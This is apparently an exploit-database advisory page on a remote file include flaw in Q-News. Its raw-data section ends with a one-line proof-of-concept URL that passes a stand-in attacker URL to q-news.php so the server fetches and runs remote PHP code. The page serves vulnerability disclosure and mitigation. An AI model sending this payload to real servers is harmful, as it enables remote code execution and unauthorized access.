header-logo
Suggest Exploit
vendor:
Q-News
by:
7.5
CVSS
HIGH
Remote File Include
CWE
Product Name: Q-News
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Q-News Remote File Include Vulnerability

Q-News is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input properly and validate file inclusion paths.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15576/info

Q-News is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/path_to_qnews/q-news.php?id=http://[attacker_url]

Navigation

Suggest Exploit

Services By CQR